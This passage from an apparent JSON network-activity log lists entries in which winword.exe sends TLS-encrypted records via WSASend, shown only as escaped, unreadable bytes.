  652. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdc~y\\xd25y\\xcc\\x9dof`\\xd55\\x85\\x89\\x1c\\x15\\xf4tq\\xb8\\x9d\\xf3m=|4\\xd6\\x85\\xd6#}\\xac\\xb7\\x13\r\\xd0dj4\\xa3\\x9f!\\xad,~\\xbd\\xc7d)\\x8b\\x92\\\\xf8\\xc8\\x86i\\x81\\xb0k\\x12\\xa7\\x1b\\x95\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\xf1\\xb8]\\xe0\\xffb5\\xcf|\\x99,pjx\\xfd\\xd3;i\\x97bym\\xf2\\xc3\\xd0\\x12\\x88id&\"\\xdch\\xb2\\x1eu\\xff\\x89d/.\\x04\\xdf\\xed\\x06d\\xe0"
  653. },
  654. {
  655. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010]\\x92rm\\x1d\\xa8\\xf5$w\\xb8\\x84y\\x85;}\\x8c\\xcc{\\x97z<m\\x83\\xd4\\xbeu\\x08\\xd8\\xb4uv\\x9c\\x1a^\"\\x99\\xc4\\xc9\\x84\\x95 \\x9a\\xd6\\x1c\\x19\\x8e\\xdc{\\x96i\\xc8\\x13\\xb0[\\xa3\\xff\\x91\\xb1\"0\\xb4\\xe748{\\xca6\\xb2\"\\x86\\x86a\\xcdqo~\\xc6\\xd2z=\\xa5\\xe5~\\xe2\\x90\\xd3+\\x1cl\\xb0\\xe2,f\\xb1q\\x86;\\xca~\\xc0bvn\\xc6\\x0b\\x1e\\x99\\xb6\\xb1\\xd7\\xf4,\\xef\\x18\\x8el\\x0f\\xc3v\\xe0\\xa0]+\\xf5\\xbe\\x90\\xb8\\x9f3\\xc5\\xbc\\xbb5\\x80c\\xaa\\xbd\\x1c\\x00\\x9fy0\\xe4\\x1a\"'\\xbci\\xebxik\\xdb\\xf2\\xc7\\x0f\\x0b\\xa3d\\x18\\x13yj\\xae(+\\xea\\x1a\\xd5\\xe4\\xd7o\\x8f\\x95yf\\xd5sz\\xc9\\x9a\\xcb5\\x06\\xf6\\xd5\\x0f\\x0c\\xb2\\x98\\x88\\x86+\\xd4z\\x84\\x96\\xd8(\\xd2\\xf4\\x1d\\xac\\x86\\xa8\\x87)\\x7f\\xd9\\x8c\\xe5\\xe6\\xa3\\x8c\\xd4ic\\xe7\\xbc\\x80\\xc5\\xa2%f\\x04\\x1a]vy\\x8bjw'\\x12\\xf1my\\xd1\\x97\\xdc\\xa7\\xbe\\xc2\t\\x13\\x1a\\xe7\\xa5lw\\xe6"
  656. },
  657. {
  658. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010 c\\xdf<\\xeb\\x8e\\x90\\x1b+\\xb7\\x03]\\xde~\\xed\\xa9\\x04\\xc3\\x18'\\x8e\\x9ao\\xd9\\x19\\xb2\\xa0\\xe0x`a=\\xbc\\x07\\x15m\\xda\\xe1n\\x9cg\\x93t\\xf3?\\xe8\\xcd\\xc8\\xd0)\\xf5\\x99\\xaa\\xe3\\xb8\\x02g\\x9b\\xbb\\xf2\\x17\\xd4nt\\x81u\\xe9\\x00\\xb0.kl\\xfb\\x1etr[\\xfd\\xbe\\xefv\n\\xc1\\x0e.\\xe7\\xd3\\xbf\\xe4n\\xe5\\x1c\\xe3l\\xd4\\xec'\\xfc|\\xd8od\\x01\\xe2\\x0b\\x8d9\t+\\x84r5\\xff!\\xa0{\\x04\\xb7\\xd2y\\xa6\\x04q\\xbb\\xa9b\\xe9-v\\xa3\\xde\\xd6\\xe2\\xc3\\x80\\xfa^h\\xd4\\xcbn\\xf7\\xad\\xfa\\xc8=v#^\\xfe\\xfde\\xfc\\x83\\xb2\\xd9\\xfeu\\x07n\\x1en\\xa6\\x140g\\x8b\\xd6\\xd5\\xf5\\x97\\xfe\\xe3>\\xac\\xa9\\xb9\\xdf\\xe4\\xae\\xb8\\xed\\x8cax\\xc1\\xdch\\x82v\\x8b\\x13:\"\\xbc`\\xb7\\xadf\\xcc\\xef\\x8ek\\x19i}\\x07#6\\xf5zis\\x1a\\xb1\\x86\\xc7\\xea\\xe3w\\x18\\xb5\\x1c\\xcaws9g\\x84\\x98\\xd8>\\x91\\xa7\\x92e\\xc7\\x16\\xf3\\xe5\\xd1\\x9e\\x93a1\\xe6iq\\x91`\\x1a"
  659. },
  660. {
  661. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8e\\xd8\\xae\\xbb\\xa7(\\xc1\\xc1\\xbe\\x96\\xbet\\x1f\\xa2\\xf2c\\xc4\\xd3\\x0b]\\xbcd\\xd9\\xdehy\\x9f{\\xbe}\\xfe\\xf7\\xe7a.\\xc2p\\xa0\\xc8~v\\x81h\\x90\\xcc\\xcd&\\xb1\\xf4\\x0e\\xd4\\xc2\\xf3q\\x9ao\\xa5\\x03e\\xf6t\\x9djg\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000h#\\xe6\\x864ct\\xe2kzl\\xef\\xeac\\xb3\\xb0\\x0fr5\\x13_n&\\x9cs\\xa2\\xcfa\\x98~\\xb6\\xb6\\xc8g\\xe9}\\x84\\x08w\\x1b\\x19\\x93\\x96\\x82\\xb9\\x8egl"
  662. },
  663. {
  664. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04t()\\x12r\\xc0\\x8e\\xc2yi\\x06\\x97\\xd5rl\\xbfvt\\x85\\x92\\xa2\\xfb\\xd1\\xe0\\xf6\\x903\\x18\\x9et\\x87n\\xa8\\xc5g\\xe17a\\xb9\\xbf5\\xf7/\\x018:\\xf1n\\xc3\\xd5u\\x96\\x87\\xe5\\xad\\x05\\xe1\\xcf\\xdb\\xbd\\xfd\\xef\\x99m\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe9\\xf9\\xb2\\x04\\x10\\xfc\\x80b\\xd1\\x8cv\\xcf\\xf16\\xf0t/j\\x90\\x06!\\xf5o\\xec\\x1d\\x84\\x8d#\\xd5\\xde\\x00\\x02\\xb3\\x84x\\xeb\\xad\\xcc\\x81\\xd3gb\\x0c\\>\\xc3\\xd1\\xc9"
  665. },
  666. {
  667. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\x12st\\xe1\\x98\\x94h\"\\x11\\xc4\\xda\\xe5?\\xe7\\xd3\\xbe'p\\xc9p\\xf1r\\x07-\\xab\\x9f\\xde\\xbf\\xaeff\\x83;e 7\\x0c\\xe1\\x93b/\\x8bolq\\xcfc\\xb9\\xd3n\\xa6\\xc5\\xdey\\xa2\\xf6v\\x14\\xe6\\xd7:uy\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000=\\x87\\x12\\xb1\\xa9\\x00\\xbc\\xc5\\x85\\xdeeh\\x99\\xc6\\x8a\\x83bfvw\\x99\\xb3\t\\x111\\xbbmn|g\\x01\\x81n\\x0fp=\\x15\\x97\\xba\\xa0\\xe4+\\x93\\xdd\\xf8oj\\xb1"
  668. },
  669. {
  670. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\x9b`\\xafl\\xb80$\\xe3\\x89\\x80\\x8f\\x95\\x0c\\xb0\t\\xe2d2\\xb5~\\x1du\\xa5\\xb2\\xe0\"\\x8bf\\xe6\\x1e>\\xf3\\xd2\\xb0xq\\xb2\\xf9\\x1b\\xf8\\xf5d\\xf6\\xf6b\\x1e\\x9bx\\xffo\\x96m\\xd3\\x1f\\xda\\x85\\xb5\\xb8d\\x9c\\x9eq`?\\xe8\\xafb\\x1fme>d~\\x86zy}\t)\\x8de\\xe8\\x94#\\x1f\\xdf\\x1d\n\\xfb\\xf3|\\x17\\x9c\\xeb\\xb4}g~\\xe3\\xaa\\xca\\xfb&\\x83\\xe5\\xcf;\\x01\\x0c\\xb0\\x9b\\xac\\xef\\x90\\x9d\\xc0\\xacp\\xfd\\x9d]\\xc5\\xfcuw\\x1b\\xa9\\xe2\\x8a\\x9d\\xe2$n\\xeac\\xfc/u\\x8bi\\x98\\x85\\xcf?%n\\xa5\\xec\\xf8\r\\xb5\\xd2\\x17y\\x96\\x17w\\x8f\\x06\\xd6i\"b\\x1e\n\\x8b\\xecewm\\xe1\\xef9\\x06\\x11\\x8b\\xff\\xdd\\xdb\\xa1\\x9d\\x01\\xa1\\x8a\\xdaq\\xa8\\x8a\\x87)\\xe4\\xc9\\xb1]j\\xdd\\x08t'\\x9c\\x15\\x05\\x8f\\x0c\\xae\\xa3\\xbb\\x8d\\xdf\\xc7\\xde7\\xfd\\xb1\\x9e\\x87\\x9d\\xe0\\xa5\\x99(\\x92\\xdfx\\xcc:\\xa7\\x8d\\xf9\\xc9f\\xf7w\\xbe\\xb5:&\n\\xe0\\x83\\x12\\x14\\xf5\\x8e\\xbb\\x11\\xd9\\xdd!5"
  671. },
  672. {
  673. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdf\\x9f\\xecm|\\xe6m\\x9f\\xc8\\xbd\\xbaw\\xd2\\xc9\\xfe,9\\x89\\xbes'=\\x1ac\\xee9:k\\x9dc\\x97\\xe6\\xabv\\xeb}\\xe9(\\xa9\\x87-\\xc3\\x8dx\\x89\n\\xe7\\xee\\xcb\\xa9\\x9f\\x7fxb${\\xc3\\x0f\\x0f\\xba\\xdc!ev\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x98-c\\xb3\\x1aan\\x1d\\xa4\\xc3\\xa8\\xfelu\\xc9x\\x0c\\xb7\\xf8\\xc1\\x99\\x11\\x112\\xe9\\xbaq|-\\xae]^\\x05\\xedh\\xab\\x7f\\xcb\\xf1\\xcb\\x06)\\x1be\\xaf\\xdc\\xa1'"
  674. },
  675. {
  676. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb9y\\xad\\x05\\x10\\xcd\\xd7\\x91?\\x1c{\\\\x19\\xe4z\\x06\\xd2\\xc5\\xfe.\\xee\\x89l\\xe1\\xee\\xa1`\\x9a@l\\xc0\\xeb\\xdb'`jx\\xc6\\xe6*\\xf2\\xc8ku\\xb8/\\x87\\xbf\\xf5\\xc6\\x98@yu\\xe8\\xa7*\\x94\\x88l\\x13\\xcd\\xa9\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x93\\x89\\x9f\\xba\\xf9\\xfbz\\x17\\xd3\\x0ek\\\\xef\":\\xa7:\\x01!w\\x82\t\\xce?:\"\\xb1\\xf5(\\xf11\\x1c\\x02b4\\x86\\xac\\xfd\\xbe\\xf9b\\xf5%2\\x1c\\x99\\xf9\\xdf"
  677. },
  678. {
  679. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4\\xd8ssy'vo\\xa4\\\\xfc\\xa0\\xf8\\xa5\\x1f\\xf5j\\x86\\x9c\\x8d\\xb8\\xe4\\x1a_\\x04\\xb5\\x9c-1\\x80\\xbcy\\xe0!\\xdd\\x1eo\\x06\\x86\\xe0\\xc7\\x89i\\x9e\\x95b:\\x07\\xd9\\x89\\xf1\\xc5w\\x12\\2d\\x81\\xf5(jbn-\\xb5\\x85\\xa77y\\xfa\\x91\\xb5\\xef\\x1ddj\\x8b\\x9f\\xbd\\x16y\\x1ck\\xdanyqqf\\x19\\x02\\x01\\x0e\\xe8\\xff\\xbd\\xf3\\xff\\\\xfbm\\x88\\xb7\\xd3\\x898\\x0e\\xaf\\\\xfd\t1\\xec\\xb0\\x85#\\xaf\\xa0w?\\x03\\xda*\\x82js\\x94\\xc6w\\xdd\\xa4\\x89dspq\\xd8\\xfd\\xce\\xe2\\xf4\\x9az~\\xc9\\xab\\x1e\\x18\\xd6\\xf2\"=|\\xab\\x0c\\xe5%y\\xa2\\x94\\xab\\x8c(q8\\xc5=:\\x8d\\xea\\xc0\\xa39:;\\xc9j\\x90i\\xe1\\xa1\\xec\\xb6\\x01\\xbd\\xcb:\\xa1\\x08\\xed\\xb9\\x94\\xe1'f\\x9c\\x11\\xe2\\xac\\xca\\x07\\xa6\\xb7xho3h\\xb7\\xa6}\\xcc\\x1b\\x9au=29\\xfe\\xbe\\xa6duz\\xd5\\xd9\\x16rb\\xb2\\x86=\\xc9wf\\xf8\\x90\\xcde;y\\xffolp\\x0f\\xfcd\\xc3\\x1a\t"
  680. },
  681. {
  682. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xeb\\xc8\\x0e\\xbf\\xea\\xde\\xf7_\\x8c\\xfe\\x9b\\xd5u\\xcb\\x95\\xa5bp\\xf7\\xea5%a\\xfd\\x18\\xa6\\xfa\n\\xc6\\xae\\xde\\xba5=\\xfdl\\x9d\\xbd\\xd6&\\xfc9s\\xae\\x05\\xf4@gdd\\xdc\\xd1\\\\x06tke>\\xc4\\xdfb\\x8b\\x85.\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000<\\xefc6\\x15\\xc1\\xb5c\\xa0\\x11\\xcab\\x850\\xc6\\xf45)\\xa4\\xc2\\x1a\\xe1@\\xec;\\xf3\\xb7\\xb5\\xda\\xa0(\\xf4\\x91\\xfd\\xd9s\\xa5\\xe92:n8\\xaa\\xf1d\\xb6j\\xa8"
  683. },
  684. {
  685. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90\\xab\\x0e\\xde_\\x97u\\xd7\\xf8\\xd2\\x9f\\x19@\\x9c\\xd5\\xd9\\xbb\\x9fk5\\x810\\x80\\xe5z\\xac\\xafb.9b\\xed9k\\x9e1\\xa6=\\xf5mc\\xa6\\xe7dg\\x18\\xbdb\\x08cj\\xed/x4m\"\\xd5\\x7f\\xe4\\x10\\xed\\x91_\\x0cu\\x16\\xf1\\xd1q\\xed\\xb0j\\x14e\\xd9/\\x8b\\x1c\\x81\\x1auw\\xb3|\\xf2\\x13\\x90\\xb5\\xac\\x9d\\xcd\\xab\\xcar\\x08:kqct\\x1a9\\xa8[\\x18\\x80\\x0b&8\\xe2q\\xd5\\xfar\\x86\\~\\xca\\xb2o\n:\\xf4\\x7f\\x85^\\x18\\xd6\\x08vg\\xa5\\x04\\xd9'\\x89\\xfajno)b\\x97\\xda_,!>\\xd1\\xdf\\xd3\\x92^\\x1a\\xe8\\x94\\xd5v\\xef\\x1d\\x7fo_\\xc5\\x92\\xff\\x97\\x95\\x7f#\\x06kt\\xe7\\xaf\\x8f\\xea\\x08\\xb6 \\x00\\x89e\\x1fo\\xc2\\xae\\xe00\\xcd\\x18ha\\x9ek\\xa8\\xd2\\xfc\\xce8\\x05\\xc4\\xfc\\xd44\\xa5vr\\xcc^ \\xb5\\xee,\\xde\\x0e4\\xa7\\x1b\\xd2\\xe3\\xb7\\x9d\\x88u\\xe6\\xb4@9\\xba\\xaa\\xd9)\t\\x81x\"\\xe5+\\x8a\\xb5w\\xc7ti+j\\xb1\\x80\\x07"
  686. },
  687. {
  688. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9dr\\x00c\\x85~5.\\x84\\xe1\\xd7ijl\\x91\\xeaye\\xce\\x9b\\x8a\\xa1-\\xeb\\xe0i\\xe4u\\xcd\\xd9\\xb4\\x1a\\x0c\\xe9\"\\x80\\x8f\\x969\\xbe\\xd2f\\x85\\x12\\xec\\x9f\\x9b\\xd0:`\\xb9\\xac\r\\x87\\x9c\\x07\\xfb\\xfc5\\x07\\xe3\n\\xd9\\x94\\xdc\\x87\\xb2\\x7f\\xb1\\x08-s\\xe1v\\xc6\\x1d\t\\x97\\xc5\\xe1\\xedt\\x12\\xa8\\x9f\\xd0\\xf0\\xc1\\x9a *\\xb8$\\xc4\\xe6\\xb7\\xe8aavo;\\xd5{7\\xc3f\\x9a(>\\xea\\x03\\xa1\\xad\\x84$8%o\\xea\\x93\\x03v\\xb3h\\xe7\\xba\\xcc\\x91t\\x9d\\xe4\\x7fl?\\xa9\\x93\\xc4\\x9b\\xb4\\xb3\\x9a\\x15\\x13\\xc4\\xe6\\xbaewz\\xd7\\xf2\\x07c@1\\xe3\\x83\\xc1\\xcf\\xfb\\xec\\xbdh*\\xfd\\xaa\\x14\\x1e\\x9b\\xdb\\xe2a\\xb7\\x1cmu\\xfc\\x16s\\xd8p\\xa8\\x92\\x99&1\\xe8\\xa0z\\x1f\\x84\\xb5\\xb6nv\\xd8c8\\xd4\\xa4\\xe6\\xef\\x08\\x10\\xfd\\xb4?\\x94\\x97\\xc6:~xm\\x8f\\xab\\xfc\\xb3c\\xf1\\xa8\r\\xfe\\x0bzn\\x9fo\\xb2!|\\xa5s-@\\xf6\\xb0\\xa02\\xce8\\x97\\x02\\xed\\xd4\\x08\\x17\\xf6\\xe7\\xe8"
  689. },
  690. {
  691. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8a\\xc9\\x801hq\t\\x85\\x93\\x9e)f\\x07)\\xec\\x9f\\xdb\\xdce\\xdb\\xd1o\\xbb\\x01\\x0f\\xe0|\\xd5j\\xcc9ls-#\\xb0\\xf0\\xe1\\xcb\\x190ug\\xa8\\x05\\x87\\xd4k\\x13\"\\xef]\\xe87\\x08>\\x89\\x1a\\xd1\\xa5\\x0c\\x91\\xd8\\x7f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xee\\xf2\\x82\\xc5'\\xbe\\x9ep\\xbf\\xb0[\\x8a\\xab\\x05n\"\\xa9\\x11\\xc3i\\x9dh\\x856\\x0c\\xb7\\xfb\\x80\\xab\\x9e\\x0bu\\xea(\\x89\\xd1e\\xe0\\x00\\x93\\x8c\\x90#\\xc1x\\xe4\\xf4s"
  692. },
  693. {
  694. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\"9\\xb5a\\xe1q\\x08\\xf8\\x81j\\)\\xda\\xcdp\\xc2\\xcc\\xde\\x8d\\xdb\\xf9\\x90/\\x8e~x\\x01\\xfb\\xf1\\xac6\\xbc\\x92\\xe1\\xcc6\\xe9\\xf9\\xad\\xb2\\xe6\\xee\\xd9\\xba\\xe6\\xd2\\x1ck\\xb6\\xc2\\x0b\\xc7\\xe2*\\xe9+i\\x1a\\xcf\\xfc\\xdc#\\xbb\\x1e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa0\\x92\\x0e>\\xf8}\\xe2\\xea\\x9e\\xbe\\xe70\\xc1uoo\\x8f\\xe8\\x904\\xfbx\\xa5\\x9f8\\xca\\xb1:m9\\x1e\\x90\\x92\\xd6\\x9d\\x9az3j\\x88\\xe1\\x08\\x1f28u\\xa8c"
  695. },
  696. {
  697. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe8(z\\x05t\\xa7\\x88l\\xe7t(h\\xbb\\x9f\\xfc_t\\x19[r\\xf8u\\xe4\\x02\\xc6\\xbe\\x05\\xd5\\xf4\\xedj\\xa7\\xd1\\x14\\x10k\\xa6\\xee\\xea\\xe6\\xd7nm\\xf0\\x0e\r\\xbb,\\xd1\\x98<1\\x84@\\xd2\\x97\\x94*\\x80_\\xd5\\xf4\\x8c\\x83\\xa7\\xcf1\\xb29\\x90t\\xb0mp\\xbf\\xaa\\xb3fw\\xd2\\x87\\xbazpzb\\xc4\\x02<(\\xcb\\x121\\xc5\\xdd2\\xf4b\\x0f\\xd2\\xb7\\x12q\\xac\\xb7\\xa5\\x9a\\xe5\\x06.5\\xe5 \\x9b\\xa5\\xfaof\\x99\\x9c\\xae\\x9bq\\x10\\xff\\xd0r7\n\\xbe\\x1e\\xe4\\xab\\xff\\xb8f\\xe93\\xe1\\x1f\\xfa\\xc41\\xae\\x08\\xf10<tq\\x1f\\xf6\\xcc\\xaf\\x8c\\x01\\xe1\\xb0\\xa1\\x8e\\x95\\xc3q\\xefi\\xba:\\xb9\\x1au\\xe2\\xe5q\\xb8\\x1c\\x94\\x9d5m\\x08\\x16hs\\xb2\\x9b\\xa8\\xd5\\xc1d\\xe2\\x0f\\xf2\\x94ll\\x99[\\xfbk^\\xae\\xa0~k\\xd5g\\xf7*\\xd1h~\\xe5?\\xd4\\x01\\x12'\\xa5\\xeb\\x9alv(~\\xa2\\xdc$\\xbe\\xe0\\xec\\xf8\\xe5\\xde\\xd1r3\\xdeqg\\x00\\x94\\xe6>7\\xc2a=\\x14]{\\x9c"
  698. },
  699. {
  700. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04<i\\xcf&\n\\xe0\\xe6n\\xd1\\x9d\\x12?vu^\\x85\nw\\xeb\\xe5\\x81\\xf3\\xa7{u)\\xc1dk\\xcc\\x13\\xacn\\x81\\xb5\\xc0`*\\x81v)$\\xd2\\xd1p\\xd7\\x06\\x1d\\x9eh\\xbe?a\\x1e\\xe7a7\\x934~\\x9b\\xea\\x98\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x84\\xa1\\x1a\"xs[\\x82b\\xc1\\xdc}$p\\xaeb\\xbc)<\\xdfrmh!\\xb9i\\x85jv\\x9dp:\\xeb>\\xc7\\x08\\x8c\\x88\\x13<t|\\xb1\\xb1\\x8f\\xaf\\x16y"
  701. },
  702. {
  703. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfd\\xcfav\\xd3o\\xffiu\\xed\\x8budy6&k\\x00\\x1b\\x01\\x9d*\n\\xaa\\xf3^\\xe3a\\x10\\xe8}\\xd8\\x7f\\x19v\\xa8j]\\x12[<\\x93t\\x07&\\xbb\\xf6\\x93\\x81\\x15\\xf6\\x07\\xd8\\xe3\r\\xf2\\xc0\\xbc\\x8b\t\\xcf\\xa8\\xb2(_n\\xa7\\xe0\\xec=r\\xe4\\x91\\xdd\\x0b <\\xfb\\xa5\\x01\\xc1\\xa2c\\xc9\\xf5\\xe4\\x96\\xc3\\xb1\\xdek\\x10\\x81!\\xfbfw6\\x03[\\x0f\\x0e\\xaersd\\x943\\xc2\\xc6\\xe5a,\\x9f\\xa5\\x9f\\x0cq\\x1ev\\x18\\xf5\\x83\\xb5\\xe8\\xcce\\xb6\\x80\\xf3wa>\\x8cw\\xb7\\xf4\\x0b\r\\xe1\\xe7\\x8fkdb\\c\\xd1e\\x8bm#:\\x98\\xc5\\xf6\\x91?\rg\\xae\\x03\\xff\\xc3\\xa5rr<\\xe1\\xa6\\xfa?\\xe0\\xe5\\xa2,\\x95\"\\x0b\\xd3+\\x85\\xebh{'i:\\xf6\\x86\\x0e\\xa3\\x1a\\xf9\\x05t\\xc9r\\xca\\xf1\\xfa+\\x0e\\xfet\\x11\\x16\\x16\\xde\t\\xf8#\\x8c\\xce\\xb6l\\xf4\\x98b\\xbeah\\xe47\\x16y\\xb7\\xc5j\\xf4\\xb6\\xf8\\x95\\xe2\\x95\\xf8\\xebg\\xf3\\x99\\xb6\\x90=\\x8c\t\\x1e\\xb6\\x1b\\x97\\x1a\\xdb"
  704. },
  705. {
  706. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x14\\x05\\xcba\\xb0x\\x89\\x0b\\x9b\\xa5\\xb6 \\xb4\t\\xb0\\x1c\\xe8\\xec@\\xda\\xab&7\\xc4,\\x9e\\x1e\\xef`c\\xf0r\\xa7\\x01\\x19q\\x08\\xa1\\xb0\\xcb\\x8fh9k$\\x1aph\\xe9\\xcahv>\\x7f\\xa4.\\xf0\\xd7x\\x91\\xff\\xba\\x17w\\xa8\\x1a\\xc4e\\xf5\\xe7\\x18\\x08'z\\x88\\xb1\\xf0\\x95\\xfe\\xbf\\xca\\x01\\x82q\t\\xfa\\xb8z\\x19\\x83\\xb5\\xd4\\xdd`\\xb2\t\\xd5\\x89\\x83\\x1a\\x1f\\x1e\\x88\\xc07a]\\xe1\\x14\\x93\\x8d\\xb6\\xa7\r\\xdd_\\xbdgle\\xaa\\x19\\x9dy5%\\xac\\xde\\xca\\xfe\\xbc\\xf2\\xc3\\xf5\\xb9\\xe2\\xa5b\\x00\\xed\\x04\\x14\\xfdu\\xf49b/\\x1f\\xa3\\xda\\x97\\xaby\\xa7\\x00\\xfe/\\x96\\x9e\\x9b;\\xed:\\xedp'\\xcc\t\\xfa\\xa0o>k\\xa4i\\xa9\\x143\\xf1\\xdfq\\xfc\\xc7\\xd8\\xf2\\xdd\\xd3n\\x85\\x1e\\xbe\\x94\\xbe\\xabr\t.n\\xeb\\xdax]x\n\\xde\\\\x8cf\\xd39=)[a$\\xbb\\xd7\\xb0\\xdf\\x89\\x89\\x9d\\xb5n\\x86`\\x1a\\xb1y\\xd7n\\xecl\\xb0\\x81\\xee]\\xde\\x9e\\xd7\\x7fl\\x1a\\xf3\\x05\\xe5\\\\xa1\\x87&"
  707. },
  708. {
  709. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe8\\xf4\\x01\\x83o\\xa8f|~\\x8eu\\x11#\\xc9e\\x0c{\\xbdi\\x04~\\xf8\\x19\\x07\\xd0u\\xfc\\xef\\xf4\\xa9\\xc3-#\\xc0\\xb4\\x1f\\x1b\\x08\\xe2x?\\x82\\x8e\\x93\\xba\\x9a\\xd6{\\x9cs\\xd2z\\x0f\\x81x\\xe9v;o5n\\xc1\\xaa\\x81\\xb7w?{\\x0e\\x0b\\xe0b;\\xcb\\xd1\\x9a;\\x82\\x997\\xa3\\x06\\xbei\\\\x1df\\xac\\x9dl\\xd4/^\\x9c*&\\xeb@\\x06ux\\x98\\xff\\xcb>\\x90\\x85\\x05yba\\xf1\\x8d\\x80k8f\\xd4qp\\xb5*\\x99\\xfd\\xabn\\xae\\xc3\\xa135 nuk\\x1f\\xdf \\x82\\xc30\\xb2<\\xfd\\x04a\\x8cj\\xfb\\xa7\\xf2\\x1c\\x844'\\x98k\\x05\\x84\\xafk\\x00\n#\\x8c\\xaf\\x19<\\x1dn\\x9e\\xf1b\\x17\\xf9\\xfah\\xcbt\\x9eoj\\xed_\\xd8\\x81i\\x84\\xdb\\x10'.'\\x7f\\x84\\xdaw\\x15j\\xfa/\\xcb\\xc0\\x91\\x8e\\x1cq\\xee\\x13\\x94\\xa5\\x858\\xa4\\xe7\\xb4\\o\\xbb\\xe6\\xac\\x86\\x83\\xd53\\xbb\\x02\\x98\\x13py\\xddm\\xfe\\xea?\\x93\\xbe\\x99:4\\xbc,\\x10ga\\xbbj\\xd3\\xd3\\xea"
  710. },
  711. {
  712. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc4\\x11\\xdf\\x0f\\x91&\\xd9\\xef \\xcf\\x0f\\xb1\"\\x1c\\xa2\\xdb/\\xc8\\xa4\\x85\\x15\\xf9x\\xa7ajo\\xc3\\xf9\\xf1\\x8c\\xf2\\x81\\x1c\\xff\\xd32\\xab\\xa5\\xf9\\x10\\x95\\x16\\x05\r\\x86\\xe9ym\\xf9\\xf0\\xb6ut\\xfa\\x84\\xf8\\x90p#\\x03\\x0f3\\x9d\\xa7\\xc1\\x87\\xf5\\x0b^\\x8f\\xf4\\xf4\\xe7p#\\xc3w\\xc9~\\xdbkr\\x82\\xd7\\x16y\\xcc<hc\\x80\\xead\\x1a\\x85\\xa0\\xe1(7rma\\x9e\\x01t\\xe4o\\xbd6c\\ny\\xa1\n\\x9e\\x17\\xcc\\x08\\xbc\\x85\\xd1g\\xcc\\x92\\x18\\x1e|\\xcb\\\\xd2ogj \\xb2\\xceh\\xed\\xe0\\x9dr\\x06\\xb0]n)\\x0e\\x02\\xa9:\\x9c\\xbe\\xcf\\xd9\\xae9\\xde\\xc8\\xe8\\xe9\\x9a\\x9b\\x8dpyw\\xf7*k\\x0e\\xc3\\x9az\t\\xc6\\x16\\xc3\\x89\\x8a\\xbd\\x8a\\xf4n\\xcfn\\x14,\\xd7a?\\x8a\\xc9\\xde\\xbb\\x9f\\xcb\\xf2zr\\xe0\\xb9l\\xe4\\xc9\\xcb\\x07\\xeb.\\x9f\\x90\\xb2\\xa3\\xc0\\x9d\\x88\\xdc_q\\xa0\\x8a\\xb7o\\x90\\x84\\x87\\xeb\\xb4\\xa8\\x1cm>\\x0c\t\\xf4b\\xf7sp3q,\\xdd\\xf5\\xfb\\xba_\\xb7\\x0e\\xe8"
  713. },
  714. {
  715. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xb1\\xc7\\xf7<y\\x02$\\xb04\\x84\\xf0e\\x11ba\\xdf\\x81_e\\x8f7\\xac\\x18@\\x83:\\xbd\\x96\\xf1p\\xe3=\\x07\\xad\\x8a\\x11\\x02=\\xc1\\xfe\\xb82\\xaax\\x00\\xf2\\xb4\\xd7\\xb9\\xab!\\xcb\\xd0\\x1a6\\xf6i\\xcd;p\\xe0ng(\\x07\\xa0\\x10[\\x84]\\x13k\nz`\\x8b\\xf0\\xea\\xc3\\x00\\x84\\xc0f7pws\\xc0l\\xe4\\xa8\\xff\\x88\\xef\\xc3\\x9a\\x95\\xab\\xebp\"-3j\\xae\\x99\\xc0h\\x08\\x0c\\xc4~uh\\xce\\x0f\\xa2\\xe2\\xe3\\x17\\xe4\\x97%\\x00u%r\\x1axw\\xf1 